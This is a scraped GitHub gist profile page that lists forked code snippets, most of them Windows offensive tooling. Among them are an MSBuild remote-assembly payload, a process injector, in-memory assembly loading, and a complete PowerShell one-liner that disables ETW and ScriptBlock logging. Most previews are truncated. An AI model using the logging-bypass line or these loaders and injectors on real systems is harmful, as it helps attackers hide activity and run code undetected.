Skip to content

Instantly share code, notes, and snippets.

View kapiushion's full-sized avatar

kapiushion

3 followers · 0 following
View GitHub Profile
@kapiushion
kapiushion / create_iso.cpp
Created July 17, 2025 05:15 — forked from daaximus/create_iso.cpp
create iso using imapi
#include <string>
#include <atlbase.h>
#include <imapi2fs.h>
void create_iso( std::wstring_view src, std::wstring_view iso_path )
{
HRESULT hr;
IFileSystemImage* fsimg;
IFsiDirectoryItem* fsdir;
IFileSystemImageResult* fsresult;
@kapiushion
kapiushion / msBuildDemo.xml
Created July 16, 2025 05:54 — forked from G0ldenGunSec/msBuildDemo.xml
MSBuild payload used to execute a remotely-hosted .net assembly
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="DemoClass">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
@kapiushion
kapiushion / Source.cpp
Created July 16, 2025 05:42 — forked from alfarom256/Source.cpp
Thread Execution via NtCreateWorkerFactory
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#define WORKER_FACTORY_FULL_ACCESS 0xf00ff
// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52
typedef enum _WORKERFACTORYINFOCLASS
{
WorkerFactoryTimeout, // LARGE_INTEGER
@kapiushion
kapiushion / Entry.c
Created July 16, 2025 05:13 — forked from realoriginal/Entry.c
D_SEC( A ) NTSTATUS NTAPI Entry( _In_ PVOID Parameter )
{
PARSED_BUF Psr;
UINT32 Wrt = 0;
PARG Arg = NULL;
LPWSTR Nps = NULL;
HANDLE Pip = NULL;
@kapiushion
kapiushion / InjectVEH.c
Created July 11, 2025 05:09 — forked from rxwx/InjectVEH.c
Vectored Exception Handler Injector BOF
#include <Windows.h>
#include <stdio.h>
#include "VEH.h"
#include "ntos.h"
#include "ntrtl.h"
//#include "peb.h"
#include "ntldr.h"
#include "hwbp.h"
#include "base\helpers.h"
@kapiushion
kapiushion / malicious.cs
Created July 7, 2025 05:44 — forked from Arno0x/malicious.cs
Hide malicious assembly in another one with RunTime code compiling
/*
Author: Arno0x0x, Twitter: @Arno0x0x
DO NOT COMPILE THIS SOURCE FILE !
Encode this source in base64:
base64 -w0 malicious.cs > malicious.b64
Then paste it in the code in "not_detected.cs" source file
@kapiushion
kapiushion / KillETW.ps1
Created July 7, 2025 05:07 — forked from tandasat/KillETW.ps1
Disable ETW of the current PowerShell session
#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
@kapiushion
kapiushion / TestAssembly.cs
Created July 7, 2025 04:55 — forked from Arno0x/TestAssembly.cs
This code shows how to load a CLR in an unmanaged process, then load an assembly from memory (not from a file) and execute a method
/*
================================ Compile as a .Net DLL ==============================
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs
*/
using System.Windows.Forms;
namespace TestNamespace
@kapiushion
kapiushion / DumpHex.c
Created July 5, 2025 05:04 — forked from ccbrown/DumpHex.c
Compact C Hex Dump Function w/ASCII
#include <stdio.h>
void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
@kapiushion
kapiushion / callback.c
Created July 5, 2025 04:55 — forked from esoterix/callback.c
void InstrumentationCallback(CONTEXT *context)
{
TEB *teb = NtCurrentTeb();
context->Rip = teb->InstrumentationCallbackPreviousPc;
context->Rsp = teb->InstrumentationCallbackPreviousSp;
context->Rcx = context->R10;
// Prevent recursion
if (!teb->InstrumentationCallbackDisabled) {